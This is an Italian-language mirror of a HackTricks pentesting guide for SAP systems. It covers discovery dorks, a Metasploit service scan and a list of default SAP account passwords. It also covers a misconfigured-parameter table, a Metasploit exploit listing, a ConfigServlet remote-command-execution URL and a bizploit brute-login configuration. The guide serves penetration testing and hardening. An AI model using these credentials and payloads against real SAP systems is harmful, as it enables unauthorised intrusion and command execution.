mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 22:20:43 +00:00
405 lines
30 KiB
Markdown
405 lines
30 KiB
Markdown
{% hint style="success" %}
|
|
Impara e pratica il Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Impara e pratica il Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Supporta HackTricks</summary>
|
|
|
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
|
|
|
{% embed url="https://websec.nl/" %}
|
|
|
|
|
|
# Introduzione a SAP
|
|
|
|
SAP sta per Sistemi Applicativi e Prodotti nell'elaborazione dei dati. SAP, per definizione, è anche il nome del software ERP \(Enterprise Resource Planning\) così come il nome dell'azienda.
|
|
Il sistema SAP è composto da un numero di moduli completamente integrati, che coprono praticamente ogni aspetto della gestione aziendale.
|
|
|
|
Ogni istanza SAP \(o SID\) è composta da tre livelli: database, applicazione e presentazione\), ogni paesaggio di solito consiste di quattro istanze: dev, test, QA e produzione.
|
|
Ognuno dei livelli può essere sfruttato in qualche misura, ma il massimo effetto può essere ottenuto **attaccando il database**.
|
|
|
|
Ogni istanza SAP è divisa in clienti. Ognuno ha un utente SAP\*, l'equivalente dell'applicazione di "root".
|
|
Al momento della creazione iniziale, questo utente SAP\* riceve una password predefinita: “060719992” \(ulteriori password predefinite di seguito\).
|
|
Saresti sorpreso se sapessi quanto spesso queste **password non vengono cambiate negli ambienti di test o dev**!
|
|
|
|
Cerca di ottenere accesso alla shell di qualsiasi server utilizzando il nome utente <SID>adm.
|
|
Il bruteforcing può aiutare, tuttavia potrebbe esserci un meccanismo di blocco dell'account.
|
|
|
|
# Scoperta
|
|
|
|
> La sezione successiva proviene principalmente da [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) dell'utente shipcod3!
|
|
|
|
* Controlla l'ambito dell'applicazione o il programma di prova. Prendi nota dei nomi host o delle istanze di sistema per connetterti a SAP GUI.
|
|
* Usa OSINT \(open source intelligence\), Shodan e Google Dorks per controllare file, sottodomini e informazioni interessanti se l'applicazione è esposta a Internet o pubblica:
|
|
```text
|
|
inurl:50000/irj/portal
|
|
inurl:IciEventService/IciEventConf
|
|
inurl:/wsnavigator/jsps/test.jsp
|
|
inurl:/irj/go/km/docs/
|
|
https://www.shodan.io/search?query=sap+portal
|
|
https://www.shodan.io/search?query=SAP+Netweaver
|
|
https://www.shodan.io/search?query=SAP+J2EE+Engine
|
|
```
|
|
* Ecco come appare [http://SAP:50000/irj/portal](http://sap:50000/irj/portal)
|
|
|
|
![Schermata di accesso SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap%20logon.jpeg)
|
|
|
|
* Usa nmap per controllare le porte aperte e i servizi noti \(router sap, webdynpro, servizi web, server web, ecc.\)
|
|
* Scansiona gli URL se è in esecuzione un server web.
|
|
* Fuzz le directory \(puoi usare Burp Intruder\) se ha server web su determinate porte. Ecco alcune buone liste di parole fornite dal SecLists Project per trovare i percorsi ICM SAP predefiniti e altre directory o file interessanti:
|
|
|
|
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls\_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt)
|
|
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt)
|
|
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt)
|
|
|
|
* Usa il modulo ausiliario Metasploit SAP SERVICE DISCOVERY per enumerare le istanze/servizi/componenti SAP:
|
|
```text
|
|
msf > use auxiliary/scanner/sap/sap_service_discovery
|
|
msf auxiliary(sap_service_discovery) > show options
|
|
Module options (auxiliary/scanner/sap/sap_service_discovery):
|
|
Name Current Setting Required Description
|
|
---- --------------- -------- -----------
|
|
CONCURRENCY 10 yes The number of concurrent ports to check per host
|
|
INSTANCES 00-01 yes Instance numbers to scan (e.g. 00-05,00-99)
|
|
RHOSTS yes The target address range or CIDR identifier
|
|
THREADS 1 yes The number of concurrent threads
|
|
TIMEOUT 1000 yes The socket connect timeout in milliseconds
|
|
msf auxiliary(sap_service_discovery) > set rhosts 192.168.96.101
|
|
rhosts => 192.168.96.101
|
|
msf auxiliary(sap_service_discovery) > run
|
|
[*] 192.168.96.101: - [SAP] Beginning service Discovery '192.168.96.101'
|
|
```
|
|
## Testing the Thick Client / SAP GUI
|
|
|
|
Ecco il comando per connettersi a SAP GUI
|
|
`sapgui <sap server hostname> <system number>`
|
|
|
|
* Controlla le credenziali predefinite \(Nella Tassonomia di Valutazione delle Vulnerabilità di Bugcrowd, questo è considerato P1 -> Misconfigurazione della Sicurezza del Server \| Utilizzo di Credenziali Predefinite \| Server di Produzione\):
|
|
```text
|
|
# SAP* - High privileges - Hardcoded kernel user
|
|
SAP*:06071992:*
|
|
SAP*:PASS:*
|
|
# IDEADM - High Privileges - Only in IDES systems
|
|
IDEADM:admin:*
|
|
# DDIC - High privileges - User has SAP_ALL
|
|
DDIC:19920706:000,001
|
|
# EARLYWATCH - High privileges
|
|
EARLYWATCH:SUPPORT:066
|
|
# TMSADM - Medium privileges
|
|
TMSADM:PASSWORD:000
|
|
TMSADM:$1Pawd2&:000
|
|
# SAPCPIC - Medium privileges
|
|
SAPCPIC:ADMIN:000,001
|
|
# SOLMAN dialog default users and passwords.
|
|
# For more info check:
|
|
# https://www.troopers.de/media/filer_public/37/34/3734ebb3-989c-4750-9d48-ea478674991a/an_easy_way_into_your_sap_systems_v30.pdf
|
|
# https://launchpad.support.sap.com/#/notes/2293011
|
|
# SOLMAN_ADMIN - High privileges - Only on SOLMAN systems
|
|
SOLMAN_ADMIN:init1234:*
|
|
# SAPSUPPORT - High privileges - Only on SOLMAN or satellite systems
|
|
SAPSUPPORT:init1234:*
|
|
# SOLMAN<SID><CLNT> - High privileges - Only on SOLMAN systems
|
|
#SOLMAN<SID><CLNT>:init1234:*
|
|
# Trial systems
|
|
# -------------
|
|
# AS ABAP 7.40 SP08 Developer Edition:
|
|
# https://blogs.sap.com/2015/10/14/sap-netweaver-as-abap-740-sp8-developer-edition-to-download-consise-installation-instruction/
|
|
DDIC:DidNPLpw2014:001
|
|
SAP*:DidNPLpw2014:001
|
|
DEVELOPER:abCd1234:001
|
|
BWDEVELOPER:abCd1234:001
|
|
# AS ABAP 7.50 SP02 Developer Edition:
|
|
# https://blogs.sap.com/2016/11/03/sap-nw-as-abap-7.50-sp2-developer-edition-to-download-consise-installation-guide/
|
|
# AS ABAP 7.51 SP02 Developer Edition:
|
|
# https://blogs.sap.com/2017/09/04/sap-as-abap-7.51-sp2-developer-edition-to-download-concise-installation-guide/
|
|
DDIC:Appl1ance:000,001
|
|
SAP*:Appl1ance:000,001
|
|
DEVELOPER:Appl1ance:001
|
|
BWDEVELOPER:Appl1ance:001
|
|
# AS ABAP 7.51 SP01 Developer Edition:
|
|
# https://blogs.sap.com/2018/09/13/as-abap-7.52-sp01-developer-edition-concise-installation-guide/
|
|
# AS ABAP 7.52 SP04 Developer Edition:
|
|
# https://blogs.sap.com/2019/10/01/as-abap-7.52-sp04-developer-edition-concise-installation-guide/
|
|
DDIC:Down1oad:000,001
|
|
SAP*:Down1oad:000,001
|
|
DEVELOPER:Down1oad:001
|
|
BWDEVELOPER:Down1oad:001
|
|
```
|
|
* Esegui Wireshark e poi autentica al client \(SAP GUI\) utilizzando le credenziali che hai ottenuto perché alcuni client trasmettono le credenziali senza SSL. Ci sono due plugin noti per Wireshark che possono analizzare le intestazioni principali utilizzate dal protocollo SAP DIAG: il plugin di dissezione SAP di SecureAuth Labs e il plugin SAP DIAG di Positive Research Center.
|
|
* Controlla per escalation di privilegi come l'uso di alcuni Codici di Transazione SAP \(tcodes\) per utenti a basso privilegio:
|
|
* SU01 - Per creare e mantenere gli utenti
|
|
* SU01D - Per visualizzare gli utenti
|
|
* SU10 - Per manutenzione di massa
|
|
* SU02 - Per creazione manuale di profili
|
|
* SM19 - Audit di sicurezza - configurazione
|
|
* SE84 - Sistema informativo per le autorizzazioni SAP R/3
|
|
* Controlla se puoi eseguire comandi di sistema / eseguire script nel client.
|
|
* Controlla se puoi fare XSS su BAPI Explorer
|
|
|
|
# Testing the web interface
|
|
|
|
* Scansiona gli URL \(vedi fase di scoperta\).
|
|
* Fuzz gli URL come nella fase di scoperta. Ecco come appare [http://SAP:50000/index.html](http://sap:50000/index.html):
|
|
|
|
![SAP Index Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg)
|
|
|
|
* Cerca vulnerabilità web comuni \(Riferimento a OWASP Top 10\) perché ci sono vulnerabilità XSS, RCE, XXE, ecc. in alcuni luoghi.
|
|
* Dai un'occhiata alla [“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm) di Jason Haddix per testare le vulnerabilità web.
|
|
* Bypass di autenticazione tramite manomissione dei verbi? Forse :\)
|
|
* Apri `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#` poi premi il pulsante “Scegli” e poi nella finestra aperta premi “Cerca”. Dovresti essere in grado di vedere un elenco di utenti SAP \(Riferimento Vulnerabilità: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/)\)
|
|
* Le credenziali sono inviate tramite HTTP? Se sì, è considerato P3 secondo la [Vulnerability Rating Taxonomy](https://bugcrowd.com/vulnerability-rating-taxonomy) di Bugcrowd: Autenticazione e gestione delle sessioni compromesse \| Funzione di accesso debole su HTTP. Suggerimento: Controlla anche [http://SAP:50000/startPage](http://sap:50000/startPage) o i portali di accesso :\)
|
|
|
|
![SAP Start Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg)
|
|
|
|
* Prova `/irj/go/km/navigation/` per un possibile elenco di directory o bypass di autenticazione
|
|
* [http://SAP/sap/public/info](http://sap/sap/public/info) contiene alcune informazioni interessanti:
|
|
```xml
|
|
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
|
|
<SOAP-ENV:Body>
|
|
<rfc:RFC_SYSTEM_INFO.Response xmlns:rfc="urn:sap-com:document:sap:rfc:functions">
|
|
<RFCSI>
|
|
<RFCPROTO>011</RFCPROTO>
|
|
<RFCCHARTYP>4102</RFCCHARTYP>
|
|
<RFCINTTYP>BIG</RFCINTTYP>
|
|
<RFCFLOTYP>IE3</RFCFLOTYP>
|
|
<RFCDEST>randomnum</RFCDEST>
|
|
<RFCHOST>randomnum</RFCHOST>
|
|
<RFCSYSID>BRQ</RFCSYSID>
|
|
<RFCDATABS>BRQ</RFCDATABS>
|
|
<RFCDBHOST>randomnum</RFCDBHOST>
|
|
<RFCDBSYS>ORACLE</RFCDBSYS>
|
|
<RFCSAPRL>740</RFCSAPRL>
|
|
<RFCMACH>324</RFCMACH>
|
|
<RFCOPSYS>AIX</RFCOPSYS>
|
|
<RFCTZONE>-25200</RFCTZONE>
|
|
<RFCDAYST/>
|
|
<RFCIPADDR>192.168.1.8</RFCIPADDR>
|
|
<RFCKERNRL>749</RFCKERNRL>
|
|
<RFCHOST2>randomnum</RFCHOST2>
|
|
<RFCSI_RESV/>
|
|
<RFCIPV6ADDR>192.168.1.8</RFCIPV6ADDR>
|
|
</RFCSI>
|
|
</rfc:RFC_SYSTEM_INFO.Response>
|
|
</SOAP-ENV:Body>
|
|
</SOAP-ENV:Envelope>
|
|
```
|
|
# Parametri di Configurazione
|
|
|
|
Se hai i dettagli di accesso corretti durante il pentest o sei riuscito ad accedere a SAP GUI utilizzando credenziali di base, puoi controllare i valori dei parametri. Molti valori di parametri di configurazione di base e personalizzati sono considerati vulnerabilità.
|
|
|
|
Puoi controllare i valori dei parametri sia manualmente che automaticamente, utilizzando script (ad es. [SAP Parameter Validator](https://github.com/damianStrojek/SAPPV)).
|
|
|
|
## Controllo Manuale dei Parametri
|
|
|
|
Navigando al Codice Transazione `RSPFPAR`, puoi interrogare diversi parametri e cercare i loro valori.
|
|
|
|
La tabella sottostante contiene i parametri definiti e le condizioni per le quali sono distinti.
|
|
|
|
Ad esempio, se <i>gw/reg_no_conn_info</i> è impostato a meno di 255 (`<255`), allora dovrebbe essere considerato una minaccia. Allo stesso modo, se <i>icm/security_log</i> è uguale a due (`2`), sarà anch'esso una possibile minaccia.
|
|
|
|
| Parametro | Vincolo | Descrizione |
|
|
|------------------------------------------------|-------------|------------------------------------------------|
|
|
| `auth/object_disabling_active` | `Y` | Indica se la disabilitazione degli oggetti è attiva. |
|
|
| `auth/rfc_authority_check` | `<2` | Imposta il livello di controllo dell'autorità per gli RFC. |
|
|
| `auth/no_check_in_some_cases` | `Y` | Specifica se i controlli sono bypassati in alcuni casi. |
|
|
| `bdc/bdel_auth_check` | `FALSE` | Determina se i controlli di autorizzazione sono applicati in BDC. |
|
|
| `gw/reg_no_conn_info` | `<255` | Limita il numero di caratteri per le informazioni di connessione del numero di registrazione. |
|
|
| `icm/security_log` | `2` | Definisce il livello del registro di sicurezza per ICM (Internet Communication Manager). |
|
|
| `icm/server_port_0` | `Display` | Specifica la porta del server per ICM (porta 0). |
|
|
| `icm/server_port_1` | `Display` | Specifica la porta del server per ICM (porta 1). |
|
|
| `icm/server_port_2` | `Display` | Specifica la porta del server per ICM (porta 2). |
|
|
| `login/password_compliance_to_current_policy` | `0` | Impone la conformità della password alla politica attuale. |
|
|
| `login/no_automatic_user_sapstar` | `0` | Disabilita l'assegnazione automatica dell'utente SAPSTAR. |
|
|
| `login/min_password_specials` | `0` | Numero minimo di caratteri speciali richiesti nelle password. |
|
|
| `login/min_password_lng` | `<8` | Lunghezza minima richiesta per le password. |
|
|
| `login/min_password_lowercase` | `0` | Numero minimo di lettere minuscole richieste nelle password. |
|
|
| `login/min_password_uppercase` | `0` | Numero minimo di lettere maiuscole richieste nelle password. |
|
|
| `login/min_password_digits` | `0` | Numero minimo di cifre richieste nelle password. |
|
|
| `login/min_password_letters` | `1` | Numero minimo di lettere richieste nelle password. |
|
|
| `login/fails_to_user_lock` | `<5` | Numero di tentativi di accesso non riusciti prima di bloccare l'account utente. |
|
|
| `login/password_expiration_time` | `>90` | Tempo di scadenza della password in giorni. |
|
|
| `login/password_max_idle_initial` | `<14` | Tempo massimo di inattività in minuti prima di richiedere il reinserimento della password (iniziale). |
|
|
| `login/password_max_idle_productive` | `<180` | Tempo massimo di inattività in minuti prima di richiedere il reinserimento della password (produttivo). |
|
|
| `login/password_downwards_compatibility` | `0` | Specifica se è abilitata la compatibilità retroattiva per le password. |
|
|
| `rfc/reject_expired_passwd` | `0` | Determina se le password scadute sono rifiutate per RFC (Remote Function Calls). |
|
|
| `rsau/enable` | `0` | Abilita o disabilita i controlli RS AU (Autorizzazione). |
|
|
| `rdisp/gui_auto_logout` | `<5` | Specifica il tempo in minuti prima del logout automatico delle sessioni GUI. |
|
|
| `service/protectedwebmethods` | `SDEFAULT` | Specifica le impostazioni predefinite per i metodi web protetti. |
|
|
| `snc/enable` | `0` | Abilita o disabilita la Comunicazione di Rete Sicura (SNC). |
|
|
| `ucon/rfc/active` | `0` | Attiva o disattiva gli RFC UCON (Unified Connectivity). |
|
|
|
|
## Script per il Controllo dei Parametri
|
|
|
|
A causa del numero di parametri, è anche possibile esportarli tutti in un file .XML e utilizzare lo script [SAPPV (SAP Parameter Validator)](https://github.com/damianStrojek/SAPPV), che controllerà tutti i parametri sopra menzionati e stamperà i loro valori con la distinzione appropriata.
|
|
```
|
|
./SAPPV.sh EXPORT.XML
|
|
|
|
Parameter: auth/no_check_in_some_cases
|
|
User-Defined Value: No data
|
|
System Default Value: Y
|
|
Comment: Activation of the Profile Generator
|
|
Vulnerability: "SAP Parameter Misconfiguration: auth/no_check_in_some_cases"
|
|
|
|
Parameter: auth/object_disabling_active
|
|
User-Defined Value: N
|
|
System Default Value: N
|
|
Comment: Value 'N' prohibits disabling of authorization objects
|
|
Vulnerability: "SAP Parameter Misconfiguration: auth/object_disabling_active"
|
|
|
|
Parameter: auth/rfc_authority_check
|
|
User-Defined Value: 6
|
|
System Default Value: 6
|
|
Comment: Execution option for the RFC authority check
|
|
Vulnerability: "SAP Parameter Misconfiguration: auth/rfc_authority_check"
|
|
|
|
Parameter: bdc/bdel_auth_check
|
|
User-Defined Value: No data
|
|
System Default Value: FALSE
|
|
Comment: batch-input: check authorisation for activity DELE when delete TA
|
|
Vulnerability: "SAP Parameter Misconfiguration: bdc/bdel_auth_check"
|
|
|
|
[...]
|
|
```
|
|
# Attacco!
|
|
|
|
* Controlla se gira su server o tecnologie obsolete come Windows 2000.
|
|
* Pianifica i possibili exploit / attacchi, ci sono molti moduli Metasploit per la scoperta di SAP \(moduli ausiliari\) e exploit:
|
|
```text
|
|
msf > search sap
|
|
Matching Modules
|
|
================
|
|
Name Disclosure Date Rank Description
|
|
---- --------------- ---- -----------
|
|
auxiliary/admin/maxdb/maxdb_cons_exec 2008-01-09 normal SAP MaxDB cons.exe Remote Command Injection
|
|
auxiliary/admin/sap/sap_configservlet_exec_noauth 2012-11-01 normal SAP ConfigServlet OS Command Execution
|
|
auxiliary/admin/sap/sap_mgmt_con_osexec normal SAP Management Console OSExecute
|
|
auxiliary/dos/sap/sap_soap_rfc_eps_delete_file normal SAP SOAP EPS_DELETE_FILE File Deletion
|
|
auxiliary/dos/windows/http/pi3web_isapi 2008-11-13 normal Pi3Web ISAPI DoS
|
|
auxiliary/dos/windows/llmnr/ms11_030_dnsapi 2011-04-12 normal Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS
|
|
auxiliary/scanner/http/sap_businessobjects_user_brute normal SAP BusinessObjects User Bruteforcer
|
|
auxiliary/scanner/http/sap_businessobjects_user_brute_web normal SAP BusinessObjects Web User Bruteforcer
|
|
auxiliary/scanner/http/sap_businessobjects_user_enum normal SAP BusinessObjects User Enumeration
|
|
auxiliary/scanner/http/sap_businessobjects_version_enum normal SAP BusinessObjects Version Detection
|
|
auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt normal SAP CTC Service Verb Tampering User Management
|
|
auxiliary/scanner/sap/sap_hostctrl_getcomputersystem normal SAP Host Agent Information Disclosure
|
|
auxiliary/scanner/sap/sap_icf_public_info normal SAP ICF /sap/public/info Service Sensitive Information Gathering
|
|
auxiliary/scanner/sap/sap_icm_urlscan normal SAP URL Scanner
|
|
auxiliary/scanner/sap/sap_mgmt_con_abaplog normal SAP Management Console ABAP Syslog Disclosure
|
|
auxiliary/scanner/sap/sap_mgmt_con_brute_login normal SAP Management Console Brute Force
|
|
auxiliary/scanner/sap/sap_mgmt_con_extractusers normal SAP Management Console Extract Users
|
|
auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints normal SAP Management Console Get Access Points
|
|
auxiliary/scanner/sap/sap_mgmt_con_getenv normal SAP Management Console getEnvironment
|
|
auxiliary/scanner/sap/sap_mgmt_con_getlogfiles normal SAP Management Console Get Logfile
|
|
auxiliary/scanner/sap/sap_mgmt_con_getprocesslist normal SAP Management Console GetProcessList
|
|
auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter normal SAP Management Console Get Process Parameters
|
|
auxiliary/scanner/sap/sap_mgmt_con_instanceproperties normal SAP Management Console Instance Properties
|
|
auxiliary/scanner/sap/sap_mgmt_con_listlogfiles normal SAP Management Console List Logfiles
|
|
auxiliary/scanner/sap/sap_mgmt_con_startprofile normal SAP Management Console getStartProfile
|
|
auxiliary/scanner/sap/sap_mgmt_con_version normal SAP Management Console Version Detection
|
|
auxiliary/scanner/sap/sap_router_info_request normal SAPRouter Admin Request
|
|
auxiliary/scanner/sap/sap_router_portscanner normal SAPRouter Port Scanner
|
|
auxiliary/scanner/sap/sap_service_discovery normal SAP Service Discovery
|
|
auxiliary/scanner/sap/sap_smb_relay normal SAP SMB Relay Abuse
|
|
auxiliary/scanner/sap/sap_soap_bapi_user_create1 normal SAP /sap/bc/soap/rfc SOAP Service BAPI_USER_CREATE1 Function User Creation
|
|
auxiliary/scanner/sap/sap_soap_rfc_brute_login normal SAP SOAP Service RFC_PING Login Brute Forcer
|
|
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Injection
|
|
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection
|
|
auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing normal SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure
|
|
auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence normal SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check
|
|
auxiliary/scanner/sap/sap_soap_rfc_ping normal SAP /sap/bc/soap/rfc SOAP Service RFC_PING Function Service Discovery
|
|
auxiliary/scanner/sap/sap_soap_rfc_read_table normal SAP /sap/bc/soap/rfc SOAP Service RFC_READ_TABLE Function Dump Data
|
|
auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir normal SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing
|
|
auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface normal SAP /sap/bc/soap/rfc SOAP Service SUSR_RFC_USER_INTERFACE Function User Creation
|
|
auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution
|
|
auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec normal SAP SOAP RFC SXPG_COMMAND_EXECUTE
|
|
auxiliary/scanner/sap/sap_soap_rfc_system_info normal SAP /sap/bc/soap/rfc SOAP Service RFC_SYSTEM_INFO Function Sensitive Information Gathering
|
|
auxiliary/scanner/sap/sap_soap_th_saprel_disclosure normal SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosure
|
|
auxiliary/scanner/sap/sap_web_gui_brute_login normal SAP Web GUI Login Brute Forcer
|
|
exploit/multi/sap/sap_mgmt_con_osexec_payload 2011-03-08 excellent SAP Management Console OSExecute Payload Execution
|
|
exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec 2013-03-26 great SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution
|
|
exploit/multi/sap/sap_soap_rfc_sxpg_command_exec 2012-05-08 great SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution
|
|
exploit/windows/browser/enjoysapgui_comp_download 2009-04-15 excellent EnjoySAP SAP GUI ActiveX Control Arbitrary File Download
|
|
exploit/windows/browser/enjoysapgui_preparetoposthtml 2007-07-05 normal EnjoySAP SAP GUI ActiveX Control Buffer Overflow
|
|
exploit/windows/browser/sapgui_saveviewtosessionfile 2009-03-31 normal SAP AG SAPgui EAI WebViewer3D Buffer Overflow
|
|
exploit/windows/http/sap_configservlet_exec_noauth 2012-11-01 great SAP ConfigServlet Remote Code Execution
|
|
exploit/windows/http/sap_host_control_cmd_exec 2012-08-14 average SAP NetWeaver HostControl Command Injection
|
|
exploit/windows/http/sapdb_webtools 2007-07-05 great SAP DB 7.4 WebTools Buffer Overflow
|
|
exploit/windows/lpd/saplpd 2008-02-04 good SAP SAPLPD 6.28 Buffer Overflow
|
|
exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow
|
|
exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
|
|
```
|
|
* Prova a utilizzare alcuni exploit noti \(controlla Exploit-DB\) o attacchi come il vecchio ma buono “SAP ConfigServlet Remote Code Execution” nel SAP Portal:
|
|
```text
|
|
http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a
|
|
```
|
|
![SAP Config Servlet RCE](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap_rce.jpeg)
|
|
|
|
* Prima di eseguire il comando `start` nello script bizploit nella fase di Discovery, puoi anche aggiungere quanto segue per eseguire la valutazione delle vulnerabilità:
|
|
```text
|
|
bizploit> plugins
|
|
bizploit/plugins> vulnassess all
|
|
bizploit/plugins> vulnassess config bruteLogin
|
|
bizploit/plugins/vulnassess/config:bruteLogin> set type defaultUsers
|
|
bizploit/plugins/vulnassess/config:bruteLogin> set tryHardcodedSAPStar True
|
|
bizploit/plugins/vulnassess/config:bruteLogin> set tryUserAsPwd True
|
|
bizploit/plugins/vulnassess/config:bruteLogin> back
|
|
bizploit/plugins> vulnassess config registerExtServer
|
|
bizploit/plugins/vulnassess/config:registerExtServer> set tpname evilgw
|
|
bizploit/plugins/vulnassess/config:registerExtServer> back
|
|
bizploit/plugins> vulnassess config checkRFCPrivs
|
|
bizploit/plugins/vulnassess/config:checkRFCPrivs> set checkExtOSCommands True
|
|
bizploit/plugins/vulnassess/config:checkRFCPrivs> back
|
|
bizploit/plugins> vulnassess config icmAdmin
|
|
bizploit/plugins/vulnassess/config:icmAdmin> set adminURL /sap/admin
|
|
bizploit/plugins/vulnassess/config:icmAdmin> back
|
|
bizploit/plugins> start
|
|
bizploit/plugins> back
|
|
bizploit> start
|
|
```
|
|
# Altri Strumenti Utili per il Test
|
|
|
|
* [PowerSAP](https://github.com/airbus-seclab/powersap) - Strumento Powershell per valutare la sicurezza di SAP
|
|
* [Burp Suite](https://portswigger.net/burp) - un must per il directory fuzzing e le valutazioni di sicurezza web
|
|
* [pysap](https://github.com/SecureAuthCorp/pysap) - Libreria Python per creare pacchetti del protocollo di rete SAP
|
|
* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - Aiuta nmap a rilevare SAP/ERP
|
|
|
|
## Riferimenti
|
|
|
|
* [SAP Penetration Testing Using Metasploit](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf)
|
|
* [https://github.com/davehardy20/SAP-Stuff](https://github.com/davehardy20/SAP-Stuff) - uno script per semi-automatizzare Bizploit
|
|
* [SAP NetWeaver ABAP security configuration part 3: Default passwords for access to the application](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/)
|
|
* [List of ABAP-transaction codes related to SAP security](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security)
|
|
* [Breaking SAP Portal](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf)
|
|
* [Top 10 most interesting SAP vulnerabilities and attacks](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
|
|
* [Assessing the security of SAP ecosystems with bizploit: Discovery](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
|
|
* [https://www.exploit-db.com/docs/43859](https://www.exploit-db.com/docs/43859)
|
|
* [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/)
|
|
* [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)
|
|
|
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
|
|
|
{% embed url="https://websec.nl/" %}
|
|
|
|
|
|
{% hint style="success" %}
|
|
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Supporta HackTricks</summary>
|
|
|
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
